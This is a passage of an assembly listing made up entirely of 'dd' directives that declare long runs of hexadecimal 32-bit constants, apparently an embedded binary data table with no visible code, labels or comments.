		dd 0A04F3A0Fh, 5CBAFEF7h, 2F8A5A9Fh, 0B2D858C6h, 97BE5621h
		dd 9680AAEAh, 95225DE9h, 51C70859h, 0FA8B0F4h, 1053542Fh
		dd 0D508750Ch, 3A474195h, 4A562ABFh, 98AE8B34h,	0E54F8AD1h
		dd 0AFE58CF8h, 1A82EAF5h, 0C7205BB0h, 0AC3245F5h, 0DC417A2Ch
		dd 5E3E747Ah, 14055995h, 0F580D111h, 0EDCB5072h, 1099015Ch
		dd 0F093F60h, 30506D8Ah, 4D2D417Ch, 5A1376A6h, 705EC341h
		dd 0AEA0605Eh, 0B426270Bh, 4218C314h, 25169A12h, 0E8D557ACh
		dd 27F43310h, 7562FA3Ah, 0F0E1CB92h, 0C3999317h, 0EC3DF1BEh
		dd 0B3AA50B8h, 43DFE90Eh, 55872A44h, 271905C0h,	0E9211509h
		dd 0E99B43B6h, 68145EBh, 0B9FCB81h, 7A5530E0h, 2F804840h
		dd 2B717ECEh, 0FDEB5D27h, 0C5BA784Bh, 13ECFC71h, 3787D882h
		dd 2C5E0804h, 5EF002FFh, 7E7609E9h, 65F9D625h, 423BF66h
		dd 86109C4Bh, 0F75C203h, 0C004EEDh, 0FDB2A38Fh,	255AD601h
		dd 3958F289h, 0FB007D9Dh, 0FEB4F8E9h, 0B36329BCh, 0E9BF8425h
		dd 0FFB0B27Ch, 0BEC54025h, 0A3B450D7h, 0E47B65A1h, 348E7E0h
		dd 5C50008Ch, 0E6813ACAh, 0F77C1D4Eh, 49F68316h, 0C3C54D06h
		dd 39B95BC4h, 0BDA02B1Ch, 624BE83h, 752A9268h, 0A0F6D320h
		dd 80330C2Eh, 760EFD68h, 6B5B3A87h, 97A9F0F3h, 72270B40h
		dd 0C176CB6Eh, 57B9037Bh, 0AADB17Ah, 0A24E7D69h, 2E606131h
		dd 1CF25603h, 0C68F6B5Ch, 22FB269Bh, 4673010Ch,	0BE999CFh
		dd 947B684Bh, 4B565C32h, 0E3A498FAh, 5B7CC3B7h,	0D016B719h
		dd 7864A154h, 0BC505407h, 5FAA4F09h, 0BD2ECA3Eh, 0EF274244h
		dd 0E29AB3DEh, 8CE07595h, 0B1A8FB9Ah, 0B4054248h, 0DBF75B49h
		dd 9CC48281h, 113CE76Bh, 0EA2FE59Bh, 8AAD05F6h,	190302ACh
		dd 0F9433C05h, 0F5D81DCDh, 9E5F84Bh, 3747B4Fh, 81FA2FDDh
		dd 6D0E8211h, 265DBA20h, 28E70829h, 438ECFE1h, 21EBF065h
		dd 0C110A6B7h, 8794241Ah, 8816AE94h, 0F807D9AAh, 1EBAFBD2h
		dd 0F5660397h, 0B336C98Dh, 0A698C62Bh, 0DC5BC40Ch, 320C72h
		dd 2904B135h, 34E953FDh, 0DB419DFFh, 7CCA0FC9h,	8568E113h
		dd 0CCC35131h, 0CF0705B4h, 570B09DCh, 84217BECh, 55F4432Ah
		dd 4BCADB00h, 0F536423h, 6D462587h, 2BBAB8DDh, 0DCEFC3F7h
		dd 0D6CAEB31h, 87BE5FFCh, 7A376811h, 1A9DEF60h,	92C6C2F4h
		dd 0EFD7FEF8h, 5AE905CFh, 0B8C291C7h, 0C3C83FA8h, 82627B7Dh
		dd 0AFE7CE05h, 0D12B8144h, 1E72BEFDh, 0D71BE84Ah, 0B04452CAh
		dd 97B85068h, 48F35758h, 0FC084171h, 0D6BDDF29h, 5226BB4h
		dd 7E09CA6Fh, 6851072Fh, 8F1B2B63h, 0C2A2A3C7h,	0B928BEDCh
		dd 0E0E93F57h, 0BF33FE2Fh, 0C0F2D392h, 9099C02Dh, 548C68D0h
		dd 4F4FDF38h, 8440E362h, 99FFEE83h, 678F6FD7h, 0A3650312h
		dd 7FFD10F1h, 79846375h, 0E4D066B9h, 82950925h,	20F718A9h
		dd 4A4715D4h, 0B7E719Dh, 0BAF609A8h, 130B7F52h,	0A8689102h
		dd 98EFC6D7h, 5C30851h,	3000731Bh, 0E9AA0712h, 0F544069h
		dd 2C94844Eh, 1938FCFAh, 509CCD8Eh, 712FB840h, 9C3D62E5h
		dd 665F7DBFh, 0D17261F9h, 0E745ED80h, 2B59EE81h, 68C3CBADh
		dd 0EF85616Ch, 5080D4F3h, 5F66F0B8h, 0D8F76A12h, 92777804h
		dd 349DE902h, 9009EC52h, 77EE508Fh, 35677C60h, 0A35322BCh
		dd 0D03D0896h, 0EE00FE98h, 42150DA5h, 0FC71B031h, 0E4B34FD9h
		dd 0D04195EBh, 0D105DA29h, 0F20E166h, 38B23790h, 0C17D3AC9h
		dd 60E60885h, 826E422Dh, 73FEA024h, 46BD24AAh, 5B169F81h
		dd 0AF56EB28h, 0E2AFA774h, 82D85F8Fh, 82154AE9h, 7974B892h
		dd 0E8AED044h, 0C92698D2h, 0F38980AAh, 0EB04ECB0h, 7B664954h
		dd 24B2DAC7h, 0C6D52B1Fh, 97FC27DCh, 0F8C626A4h, 0A63D9EDAh
		dd 0C5933A04h, 4E8D9AEAh, 80128964h, 20AD39AFh,	5D80F913h
		dd 5EDB9056h, 0AE331789h, 0BE5E258Bh, 5156ED03h, 7815605Eh
		dd 8A7C5562h, 0D2954198h, 9DD0B7DEh, 5B160D20h,	593984Fh
		dd 13A9B94h, 2B02D5Bh, 8CD6D801h, 26592007h, 10FE3828h
		dd 524C75C0h, 0C9FC5B2Ah, 8708CBDFh, 0ED669955h, 0F6606E7Dh
		dd 51DB57A0h, 0EF508398h, 8B7F5D07h, 50A0D49Fh,	0E2AA45E9h
		dd 29C8CF61h, 79B32E84h, 0C5CFB0BDh, 2D03A0B9h,	7F805FA9h
		dd 943EF181h, 0DD72952Dh, 5D0B8D16h, 22DCCBE9h,	553AD3ECh
		dd 73106618h, 4FFA7FF6h, 1F300B5Eh, 24597893h, 2624296Dh
		dd 68060FFBh, 8013558Ah, 4A3BBF57h, 0C2BF317Bh,	0D4E3D50Dh
		dd 0B02644A8h, 2E9070Bh, 55DD12BBh, 3FDA06CBh, 51B7ABD8h
		dd 40086DD9h, 0C41986F0h, 0E9526D02h, 0FDFE9D12h, 0D828C3C5h
		dd 7F33322Dh, 0D34BCE96h, 8EBB284h, 6426FBA7h, 95F3CF0Ch
		dd 0A9B509C5h, 0B77F774h, 0FB025F31h, 9D745431h, 8087449h
		dd 291363F0h, 0FEA84517h, 0F05693DFh, 9809BAF7h, 3BC53Fh
		dd 8667B04Ah, 6ED1B53Ah, 0D24EE90Bh, 0ECC30719h, 0BEF9A763h
		dd 5505A0D3h, 0D2BF8D98h, 2724ED39h, 125A0EB9h,	0AE4CE903h
		dd 881C53D0h, 0D9DE51EBh, 7F8171CBh, 38130299h,	79914B1Fh
		dd 0B650BC38h, 0BA029F6h, 0F189A820h, 3A26AFC5h, 2EC0570Ch
		dd 0B800005h, 0F8013F55h, 0CCBD9168h, 5C883D4Bh, 42E92C85h
		dd 0E831BE6Bh, 0B7004BC9h, 0EF03C082h, 2D880F08h, 0A8165E91h
		dd 1EFA1D3h, 89EA5711h,	5AD3BBh, 8BFBC202h, 65A2FC77h
		dd 0ABC7C7CEh, 0F9ECFAA1h, 0B956C93Dh, 9514D8DDh, 8275ECE2h
		dd 0F71A281Ah, 0AEFCFD33h, 9DF7A588h, 0B6BE1300h, 532C373Dh
		dd 5F01FD81h, 90E91220h, 4044002Ah, 42258D2Dh, 32A4585Ah
		dd 3CD74178h, 8AF8CB37h
		dd 818E1340h, 891EE1CFh, 0EB454F6Eh, 0C7853FA8h, 33A0BB58h
		dd 9E0B539Eh, 80ABAC4Eh, 2ADB50D5h, 1C46E168h, 5BE720B7h
		dd 0DFA0585Fh, 0D5AE0463h, 65DD2955h, 0A0AE6E12h, 0D6BD5B70h
		dd 47F77929h, 0AA5E25BCh, 62EB9B13h, 394AB42Ah,	624C5E77h
		dd 9C8EEB6h, 0B00B5EF5h, 84D03051h, 8AEFE073h, 11E24B7Bh
		dd 8DFEA9A5h, 5B61C9D9h, 0FA4B0128h, 5713FD8Ah,	0C7B5BE50h
		dd 0FE53321Ch, 4A4790FBh, 9AF9C849h, 0B4690828h, 0EF931A3h
		dd 356281F0h, 75862CF9h, 5E993730h, 0BC974132h,	0EF3C2279h
		dd 11D731B2h, 2CFD1EBh,	702D020Ah, 71FF375Dh, 29F1271Eh
		dd 0DDF32DC2h, 0C268FA10h, 56170109h, 9D5A775Eh, 7B280400h
		dd 8B8D0F3Fh, 41A9B6F5h, 6EEF53E9h, 0D42CE892h,	96552F45h
		dd 415198F3h, 0BEE2EAFh, 9102AB3Eh, 54E9290Ah, 4100D37Ah
		dd 757B78C2h, 7D860F0Ch, 0FBD49505h, 0D2AA4E58h, 9E58E032h
		dd 0F41A099Fh, 9588EEAEh, 80270B6Bh, 7A9BBB70h,	95B927Dh
		dd 0B4828564h, 0A9745F86h, 0C383D30Bh, 542B0001h, 0B5776235h
		dd 0ECE98E02h, 873B4A58h, 1E7296D5h, 82B5A9ACh,	87A7CC7h
		dd 6683728h, 0E0D98220h, 5B662DFAh, 42C2B2C0h, 2FC1DA9Fh
		dd 72F40837h, 0F9E42539h, 48E6EFFDh, 0E205F928h, 389443D8h
		dd 6941A21Ch, 0D721F4C9h, 0AA30EE65h, 607B9350h, 0FEB247E9h
		dd 0B4FD1B5h, 9766C874h, 58F16825h, 0E1FB9514h,	0F063FEAFh
		dd 0FF823767h, 0E9C1F559h, 0C834A4BCh, 5FF8EED6h, 82C097C4h
		dd 0DF09FEA2h, 76502AF9h, 905EB2D2h, 9AB55D78h,	0A9F617Bh
		dd 0F5B2F680h, 2F843EEEh, 0B730A8FBh, 0F0AC62A5h, 0C46680Bh
		dd 65624C7Ch, 0B45C05BEh, 0FD7C882Fh, 0A485DD6Eh, 939392D6h
		dd 8BBBD5C2h, 7FF94E04h, 0E409492Fh, 5BF2E47Dh,	10C2D0D2h
		dd 5C95FEECh, 2F0C5940h, 9BB62FD4h, 0FB4E5112h,	82CC74h
		dd 0B996164h, 1A3A53Bh,	0BDB8E908h, 27F78233h, 5D6FD542h
		dd 0A090F1E8h, 8104FE5Ch, 6B9820E2h, 0DD42163Ah, 0ECCB2BB5h
		dd 6948152Dh, 6C765CC6h, 7F12FC4Bh, 0E6A7A091h,	6DF65307h
		dd 1CB80A4Ah, 4338FB96h, 70AC7CBFh, 0FD092FBAh,	0F9FB8E39h
		dd 0E87D30FEh, 0A4D7C5B5h, 0ABAE12C0h, 2D68816Ch, 94651FE8h
		dd 28153988h, 0DAE700C1h, 0F13EA43h, 0BF4AB982h, 0ABF147BCh
		dd 0DEF7002Eh, 0CE84120Fh, 3288EA72h, 1E0C4D69h, 1651E21Eh
		dd 0BAF2C48Bh, 8E2E8ACBh, 0DAC0AD86h, 0AFA8C20Bh, 5C133FEBh
		dd 6DD46085h, 2D670814h, 884FD139h, 26264C9Ah, 0D461D800h
		dd 9EF815Bh, 4741574Fh,	8A0B77Eh, 653BD380h, 43E3F99Fh
		dd 8E58D3D8h, 31A312D3h, 0EC9E99FFh, 0E595E72Bh, 2EEB0125h
		dd 2B09F763h, 804D6E5h,	0E8722DBAh, 49B9FEB1h, 4565189h
		dd 0B2BC6CCBh, 731FCBC1h, 8AF0301Bh, 0CF210F81h, 7872912Ch
		dd 769FA2CCh, 0EB8A0BB6h, 1A1F4E57h, 3093A9E9h,	0F2D8175h
		dd 0B4246788h, 0A40CF42h, 0DF890690h, 9FCC8D2Ch, 0C8220D5Fh
		dd 2F45FE3Ah, 35EBB3C4h, 3547003Bh, 61153144h, 2120B8A0h
		dd 180F1B26h, 63B7B713h, 38D0B770h, 7294392Ch, 8AC7EAFh
		dd 32289F1Fh, 95653A04h, 49BF4D1Dh, 6E29AD83h, 52187EFEh
		dd 5EC426h, 0CD816367h,	3306324Bh, 0D1E925h, 3E0C100h
		dd 527CF248h, 0D4129C8Fh, 0B54ED11Dh, 0FE5B00FAh, 215C5ECAh
		dd 3788AC2h, 9689EFE9h,	0BAC24F3Bh, 150F483h, 49452C1Ah
		dd 30DFF77Bh, 7C005328h, 0D90542E5h, 289D1F27h,	41E1C701h
		dd 93F93B03h, 0D127124Ch, 0E1834A7Dh, 0C46F123Dh, 2F8FBA58h
		dd 13F6AD4Ah, 0A456D69Bh, 59CBD3ABh, 0C67D39B2h, 4AE917C8h
		dd 0AF6F35B3h, 151F1F4h, 8C784BB9h, 20E1C13Fh, 522D8A0Dh
		dd 0AE9E7737h, 13A13424h, 1597681Ch, 0C3A60BF8h, 0E4D7592Fh
		dd 0D412278Ah, 6EDAD5BBh, 310E11D6h, 9CA4E4DFh,	5515FC8h
		dd 89503CE2h, 416982F0h, 0C18517Dh, 0EFCFB96Ah,	5B570425h
		dd 0D15749A1h, 54A9977Eh, 59723FABh, 0EB0E8311h, 58806034h
		dd 46AC0540h, 354E4300h, 8263043Dh, 0C06B4AE9h,	3FD82D8Eh
		dd 56020BF4h, 8E1468BEh, 13A2822Eh, 1621FF78h, 7F4531A5h
		dd 0C1596FB0h, 0F0440FCEh, 33E86E42h, 8895E618h, 0C8945954h
		dd 0E95904E9h, 0F481B8BAh, 56BF6913h, 3C3DEED9h, 96AFE96Ah
		dd 0E237D3ABh, 39BD7C4Eh, 0B786626h, 4444DCCAh,	10E8C117h
		dd 445C63B0h, 3E409C58h, 0C2B5945Dh, 570B8AF5h,	0B4B06148h
		dd 74C83AEBh, 0C9BF4E2Fh, 0AEBE30D1h, 0FB0BEA8h, 12BC48B1h
		dd 69B075AFh, 2B17416Dh, 0FE133EB9h, 894A370h, 12FFF1E7h
		dd 0F88AEFEBh, 3CE95C04h, 0A153B83Bh, 5000D4ABh, 0C7E4C888h
		dd 0FE59581Dh, 1413AA24h, 28E98542h, 2D5B45D7h,	845A9B64h
		dd 0FDEA444Bh, 6FFE93ABh, 758E3FC2h, 49E64620h,	0D8A0442Eh
		dd 0F94A0AA9h, 35D717C0h, 0CC324C5Bh, 814A081Eh, 71776AF2h
		dd 10D27BA9h, 25A274A7h, 2917CD14h, 34E92DE8h, 0DBE95D0Dh
		dd 10D97875h, 0EC4E535Fh, 4D7510AFh, 410AE818h,	94006ECCh
		dd 16101E53h, 22923B2h,	5C87F381h, 0F7F32BFh, 162FD846h
		dd 7AE600ABh, 753A6BB9h, 19017E41h, 5004EDB1h, 0D2B65867h
		dd 0B002E0Ah, 0E425699Dh, 30F63307h, 0A24909E9h, 0CE028630h
		dd 0C393E091h, 1689611Ah, 23BD9031h, 5B804600h,	21E8B419h
		dd 9C7FC6EEh, 0EDA18F00h, 5D0C4D34h, 8B5F0E1Ah,	661A419Dh
		dd 0E77EF4C0h, 0C72A63Eh, 19183D85h, 19EA03C7h,	6E93A88h
		dd 92416501h, 518C821h,	0C0363A9Ch, 0B8660F83h,	9E98130Ah
		dd 2B503203h, 315B185h,	9D29594Ah, 0E071F95h, 3103EE83h
		dd 0C05F993h, 0CE94E12h, 0C8001461h, 809F8395h,	398B42FAh
		dd 81840721h, 0AA9974FEh, 0B07E6C4Eh, 0C068B41Fh, 32A65D2Eh
		dd 393B6AB8h, 62EE8046h, 958F7F04h, 0C1340216h,	0EB4CF3A7h
		dd 8E63C0F5h, 2C503E71h, 6E482448h, 54EE6300h, 340E4383h
		dd 48051CAh, 4BD986DFh,	0A001089h, 39DC6E49h, 181B02A9h
		dd 0FEC5839Fh, 0D9035AAAh, 0C750F7D7h, 2169E30Ah, 46083629h
		dd 84C39088h, 0DA486BB2h, 0C47ABF43h, 4421F08h,	18CE2275h
		dd 97BF7200h, 41960051h, 0A35F2F4h, 550092D4h, 0F63137A9h
		dd 7D01627h, 5FAB14Ah, 0A5E930FCh, 47009B12h, 293ABC7Bh
		dd 0D4DFE6h, 5EA2175Dh,	0C2AEEC24h, 9891D200h, 3E97B6E3h
		dd 887153h, 0DB451C21h,	0FDF36494h, 0B7057600h,	0ABC975B6h
		dd 696C0052h, 98DEF283h, 21009A53h, 23D61EF5h, 325CFA1h
		dd 28B26556h, 8490BC50h, 2601D248h, 9E945DBBh, 2ED463BDh
		dd 24B10786h, 57B573F3h, 7A8F5031h, 5000A062h, 969CD2B9h
		dd 0B84895A8h, 0F39200F8h, 7A431752h, 4C00BFB7h, 36B8A3F5h
		dd 0B0F186h, 0FC3E41D5h, 0F9763AD0h, 17DED100h,	0A97F429Ch
		dd 0E8CC003Ch, 0CEC0ABDCh, 87003605h, 7C6FB104h, 0D20B08h
		dd 56B73179h, 0C4DD397Bh, 0FB78E009h, 430C0EBCh, 0FF91D7FFh
		dd 0F5903467h, 3D2144Bh, 7077E915h, 10F067B6h, 3A2A710Dh
		dd 0E500B845h, 0BB87D8D2h, 69757Ch, 9D159F26h, 25996357h
		dd 1202C0A0h, 4EEBD100h, 8AEF6913h, 617A23h, 4F76F881h
		dd 0EE54F76Fh, 9FD63607h, 0ACC02C52h, 5C045F9Bh, 381DA7BEh
		dd 0C71C00E7h, 693F3007h, 3131900h, 48F433C3h, 0F2750717h
		dd 479A0C21h, 593690E4h, 0BB2460E2h, 92037C5Bh,	0E0B2938Bh
		dd 7F312Ch, 5FD146CAh, 0D273E56Bh, 13051600h, 3F1D6AA1h
		dd 501000CEh, 0F7B22EDCh
		dd 7AEF1863h, 3EF00CB0h, 458C59B0h, 0A9B0309Bh,	5A005790h
		dd 274B46D4h, 1505DD3h,	3A3841B6h, 0D08788BBh, 0DA00F5B3h
		dd 939F2948h, 0E42676h,	96CC9A1Bh, 0F0A0FD53h, 8E98D800h
		dd 7FF7F908h, 0E3FB013Ah, 4FFA7339h, 55E0242Bh,	0DCD00200h
		dd 1B6C6EE8h, 0B3600021h, 7BF30607h, 0D9763B29h, 0A29CF405h
		dd 29803C71h, 36662B4h,	8CCCC2A5h, 0DEB08F09h, 7300933Bh
		dd 9D162150h, 0FA1C5B62h, 0C7940003h, 0F8A9BEC2h, 301DDD91h
		dd 0D0C0B0BBh, 512D451Dh, 48EC4803h, 710B4A00h,	5414222Bh
		dd 2A6FC315h, 0E25B01B0h, 7BF2FC21h, 0F9CAC050h, 54230DCh
		dd 9E5DE078h, 3908550Eh, 4504A0FCh, 24D686CCh, 0CC1046h
		dd 33274258h, 0D000A66Dh, 0D4596A5Ah, 0F8B943h,	0A82DEB7Dh
		dd 0A009BE4Ch, 0EA00E0E8h, 611CC0AEh, 25E7444h,	11CD7C22h
		dd 53E0A940h, 0C60FC9AAh, 7101AADh, 9671D718h, 0CFF8AB06h
		dd 0C30703FBh, 25452CB6h, 15276AD0h, 0E6138102h, 0C0356BB4h
		dd 9266F3h, 0D6BAA908h,	75010A57h, 4F0F403h, 121B94h, 0BC47CF59h
		dd 0B5EF42D4h, 706B8400h, 0F2960714h, 0E48D51E2h, 0F605DCh
		dd 15D8E3FCh, 0B57E3082h, 13102300h, 0BA83DCC9h, 0F7C0077h
		dd 89B3620Bh, 0E1B0804Fh, 1526E100h, 96408FC9h,	0C2C079Ah
		dd 0A083B6A1h, 0AB274503h, 0AC3C52h, 95FB02FDh,	18B0A12h
		dd 0DA8F36Ch, 0E6B335C0h, 7FF28460h, 2F55C600h,	4ED454B0h
		dd 12C500A9h, 0C876C70Dh, 148E977h, 295F0328h, 8AD4EBh
		dd 93883E11h, 0FEB4C61Ch, 5C4A01Ch, 105283C7h, 0C5B5BC60h
		dd 0D21C0124h, 0F03D045Bh, 4F61E482h, 0D4031972h, 0D5E49749h
		dd 946D0AAh, 0E7FC00BCh, 13F1531Eh, 0A80657ACh,	0CB349FD8h
		dd 0AF4B006Ch, 475122D0h, 24902D9Ah, 76B50818h,	0C14BD3Ch
		dd 988A8E59h, 69EADD50h, 0EC70F400h, 0D48FE2DFh, 67AC0062h
		dd 0DCB9076Dh, 99713FFFh, 8E82963Fh, 0A0C64F5Eh, 320AF9CCh
		dd 42FD0002h, 17C256FEh, 6C0A1FDDh, 0E081E77Dh,	194D1000h
		dd 0EF2D22h, 142AEDEEh,	3D89933Ah, 0AEA35512h, 0E7134800h
		dd 50F5C4E1h, 1D83A01Fh, 71CF1DCh, 80B073F7h, 0F9D010E4h
		dd 16BFBE07h, 4480905Bh, 22A4AEh, 69391D48h, 737AA8A1h
		dd 5F527803h, 0D09101ACh, 99AFF79h, 506271B3h, 0C57D3A00h
		dd 300C04Bh, 5D3C05D6h,	8E9CA2h, 0D2CD7934h, 5CAE1EDEh
		dd 42461407h, 29C08CF2h, 0CBE78CCh, 956F53C1h, 72FE1911h
		dd 3BCDA10Eh, 61EA0081h, 0B17DD3Ah, 0A3E3A911h,	0E70A1800h
		dd 0AE5C69DFh, 0CC0077C9h, 6DAA1C13h, 3487FB1h,	0E85E6F8Eh
		dd 83959962h, 0FDE8028Bh, 8F1EA32Ah, 0F1875493h, 45A0F73Eh
		dd 58917B2Fh, 0A001828h, 61E0A91Ah, 0D303640Eh,	3639AD24h
		dd 38268989h, 4B7034h, 86CAA0AAh, 5B851CE9h, 0A96919CEh
		dd 347C8044h, 7A04C708h, 393104F6h, 0C2A21E93h,	0F4E3C8DFh
		dd 4DE0C0D4h, 1A30273Fh, 9B2AE883h, 0F8080073h,	0EE30577h
		dd 0F34C01B8h, 99C5000Eh, 8F0B4E89h, 16C59890h,	1AA9A91h
		dd 0E1473035h, 62B07035h, 0B560E04h, 4807906h, 8B53CAh
		dd 36206ACEh, 0C997E66Bh, 0C8078875h, 64FC7FC5h, 0C282801Bh
		dd 713C3106h, 0DF5200A4h, 334DE005h, 0C0C13AAEh, 11CB8DECh
		dd 0F2CA7F8h, 86B63592h, 966EA1E7h, 0A2005ED1h,	0A9742BECh
		dd 155CEBh, 66F5C80Bh, 0F970188Ah, 3C2AD300h, 6FF18236h
		dd 448B04Bh, 0FD1A60ABh, 8481C779h, 404C0F6h, 24338A08h
		dd 0D04711B0h, 12ABE5ADh, 9BFCF4h, 5E6766B4h, 11CF9C8Dh
		dd 0E7CC0CEh, 3B68B91Eh, 0CA024192h, 6DC783A1h,	518458C0h
		dd 0BC315F00h, 0CCEF3C14h, 0C2CE26EBh, 8703052Bh, 3900807Bh
		dd 0CD004BADh, 9EA8481Eh, 0AC84CCh, 5EBBF88Eh, 0E7DEBDF7h
		dd 6BFEB60Eh, 0DB07720Ah, 58120131h, 0A308C86Ch, 3E1E28BDh
		dd 6A9300FAh, 0E9714C8Ah, 0C700E33Ah, 0B4780D77h, 9C2D60h
		dd 0E8D3ECE1h, 0F60BF030h, 0FA3EA700h, 0C536B675h, 608D0055h
		dd 184E5270h, 3971EBDCh, 1B463200h, 0F7B8157Ch,	0E7A206C3h
		dd 101A9E78h, 0EF2E1DEEh, 0DA9D4C85h, 806DC3CBh, 0FE5BB909h
		dd 10754820h, 905F2Ch, 8242DB22h, 0E1007CC6h, 86969B4Fh
		dd 0FC353BAFh, 52A600A2h, 0CD3AF1C3h, 0A0009EECh, 42FE8DE1h
		dd 48E81207h, 0C080D8E0h, 4A152C09h, 7704E48h, 55C2A4F9h
		dd 0C63E5B50h, 43E000E5h, 0C1AF5A54h, 0D9002815h, 59AEEB7Ah
		dd 48172Ah, 0FF9FD7EAh,	328899CEh, 0DFE3770Eh, 7D45E010h
		dd 63F4B2h, 18A6945Bh, 0C7292D8Ah, 0ED19F700h, 51828475h
		dd 1CAA025Ch, 5B364704h, 807F04E1h, 0EE57DEE9h,	0E4E872F6h
		dd 51700D3h, 0A1B7332Dh, 520016CFh, 0B5756CCEh,	227B59h
		dd 82181D5Ch, 4CBFB3FEh, 58DD9C00h, 947C3DAFh, 0D7811020h
		dd 1375084Fh, 0CDF56036h, 3C000E1Bh, 7A504660h,	90E0B94Ah
		dd 0B6050078h, 802DB327h, 0A00B8653h, 80B84EB4h, 1FFAE2Dh
		dd 12CC0093h, 2C054F1Dh, 900066DAh, 0B23EC382h,	28CE6134h
		dd 94E88Ah, 9E4ABC39h, 28DA815Dh, 83B16707h, 58775219h
		dd 4B46D010h, 0AE4E00E5h, 76A3F49Eh, 781E8B3Bh,	2E806DFCh
		dd 80EF4081h, 0DB690956h, 1C69DEF3h, 9338E482h,	3D652100h
		dd 0AEED4BEBh, 8430034Ch, 0C7F20AB0h, 9B4502A8h, 0F7800301h
		dd 702A6975h, 174FCh, 0E734E531h, 28A68E6Eh, 5AF1AB00h
		dd 0C5024498h, 47253C38h, 2078B680h, 9EFF89B8h,	48408A4Bh
		dd 0ED28F76Bh, 33EC00AFh, 5BC3A0EEh, 0DF013008h, 6B373CD6h
		dd 6DF0BC86h, 71D4E984h, 2567041Fh, 0C0ADD987h,	249947Bh
		dd 0AE6B3800h, 3E8D81A6h, 16032C9Ch, 1C9F00E0h,	31AF5EDEh
		dd 0A5699400h, 5A9CF2CCh, 1AE625h, 5E3DC4C9h, 0A64A3C88h
		dd 0F580AC50h, 945F1700h, 0EB95F768h, 27792844h, 0FA6F00B4h
		dd 0A5ACE077h, 883DDAF9h, 0EDCB00F7h, 7D263390h, 0A9BA00FCh
		dd 3FF803C3h, 1B28A422h, 5D07D8D9h, 0D734651Dh,	463807D0h
		dd 229D0226h, 0B209D3B5h, 7E0C18E0h, 0D3D2A05h,	0E080C810h
		dd 5F7196h, 164DD554h, 76D1F315h, 0AA69B400h, 89308F56h
		dd 5C0E1C7Eh, 32AE8559h, 2BC40A8Bh, 6CFE0BAAh, 0F9E87413h
		dd 6E0084ADh, 6FE9583Eh, 9A41E3Bh, 6A37AFDDh, 0A5F1C000h
		dd 90000F96h, 598E9D25h, 83268Ch, 0B7493185h, 0FB71040Ch
		dd 0A145Ch, 37C788B2h, 9847D6EBh, 49FA17D3h, 2B770061h
		dd 77390319h, 60EEAC00h, 7C8A21ADh, 0FC3B7424h,	2F8917CCh
		dd 27604EDFh, 6B5C9CC0h, 0E6006FB1h, 490CC9D8h,	8D656Eh
		dd 0D7BB89BFh, 0F33A05F9h, 0DB00E6E8h, 3BBAB415h, 0B04A6D97h
		dd 38CF83Bh, 42DF33DAh,	0A6F8445Ch, 5A01E720h, 772E8D07h
		dd 48F5022Bh, 4ADAF8h, 0C99311EEh, 0F462BD36h, 0BB88B71Fh
		dd 0EB653AC0h, 41CF067h, 0B3BF60A3h, 9090B08Fh,	8842002h
		dd 5183F102h, 0FA050084h, 0C70B1394h, 8115763Eh, 171873C0h
		dd 16EC8CC5h, 228501CAh, 2661D61Ch, 9060D0E7h, 0C6245006h
		dd 13618C37h, 0C0A2165Fh, 267A99A4h, 560FDA78h,	253EEA24h
		dd 10051D01h, 1C009121h, 0FE83900Bh, 82581D09h,	0BD7C0602h
		dd 0A6072836h, 3F59A8B5h, 8AC36C85h, 0A0C5A32Eh, 635AAA84h
		dd 0E2DE183Bh, 669D28A0h, 0F0660D2h, 0F8500F56h, 7980C059h
		dd 0ADBFD708h, 20B94400h, 0BA268B76h, 245A0356h, 59CAB3DCh
		dd 0DE809001h, 880B36FCh, 38179890h, 217D8609h,	66B98B79h
		dd 50B9D00Fh
		dd 0E4006B7Bh, 59A1C53Fh, 79BA9Dh, 2F90FD05h, 0FF121DA8h
		dd 0E869F803h, 0E85E8B98h, 81A0A1h, 0FC4C0436h,	6642176Bh
		dd 9B034F70h, 8C2C657Ah, 60EA8AC1h, 0E61C5Eh, 2853EE24h
		dd 0D8AD9972h, 225C5000h, 39AB4BBDh, 4C350054h,	48652478h
		dd 250F1029h, 4E673Ah, 731AB71Ch, 0B3AD0064h, 36E98360h
		dd 12002A49h, 1F8B6C90h, 70074505h, 9A8C00F1h, 0EE625EF7h
		dd 951D49CAh, 0E06F36BEh, 2A9BD0A5h, 4BE43A44h,	90660546h
		dd 0B78C0296h, 90A18DB6h, 9DA7CAA9h, 0B20FC728h, 0CB4A942h
		dd 0E8362155h, 7D8B377Ch, 70920011h, 0A4500D31h, 0F818971Ch
		dd 0DD11B9A9h, 93660C84h, 5881BED8h, 444A621Eh,	602611B0h
		dd 22A2107Dh, 0CA6012Ah, 34DE9B40h, 52499009h, 26589022h
		dd 50C06898h, 0BE180F81h, 15109C8Bh, 6200E1DBh,	2165AACh
		dd 67562A10h, 10C7C8C8h, 39C3BC21h, 0FC0C1EE8h,	108175B7h
		dd 9C57D55h, 2689FB72h,	0C3C5800h, 520133B2h, 7965930Dh
		dd 70D8AFBFh, 0E1A4A38Bh, 0FFF8ABD6h, 4610C086h, 8324FEA4h
		dd 49056B03h, 0C132629Eh, 5FF095F1h, 86C3EE4h, 14A79914h
		dd 5CF01Fh, 2680F760h, 0AA00B3E6h, 53973F69h, 60A305DEh
		dd 3D32789Fh, 0DF3A20A4h, 80B0607Dh, 6202AEC9h,	93DA385Fh
		dd 0DB098C48h, 80464928h, 0B0BF3500h, 8339DC44h, 0FA6B036Eh
		dd 2B8D130Fh, 26A62002h, 9E50ED9Bh, 7BA32320h, 3A4B0738h
		dd 96800118h, 51C167Fh,	455B3258h, 86D44FA3h, 3EF2CFE0h
		dd 59196C1Eh, 0A908F621h, 97F2180h, 76FD5BCFh, 0B6FAC40Eh
		dd 9770C5ADh, 3D1BA401h, 0F884744Fh, 90A1A9F5h,	6DA8E42Ch
		dd 48852037h, 0BDAFE370h, 4A21FE2h, 80C1B082h, 0B0005451h
		dd 0DB5DEDC4h, 0CE3B2E6Eh, 0A3410881h, 0C8AD80C9h, 0C9A038FBh
		dd 36058398h, 0FAEC262Ah, 47658004h, 0E5E7C700h, 3948C25Ch
		dd 8A561320h, 0F560D420h, 4130D9E0h, 9D099801h,	1ED4021h
		dd 202337E0h, 83467E3Dh, 0ECFDABD0h, 84E804AFh,	4625F12h
		dd 0C080D0A1h, 0C15EA807h, 756ABDC9h, 565AC424h, 62DC8C19h
		dd 8850A908h, 6755298h,	0BF0A86EDh, 0B0CC618Eh,	2D60A2h
		dd 3112AE08h, 6A1702A6h, 12AC1648h, 0F4C7DFEBh,	1E2252C0h
		dd 3CAB0364h, 4CB3A3B9h, 21480830h, 1A1E5AF8h, 0A0E2937Fh
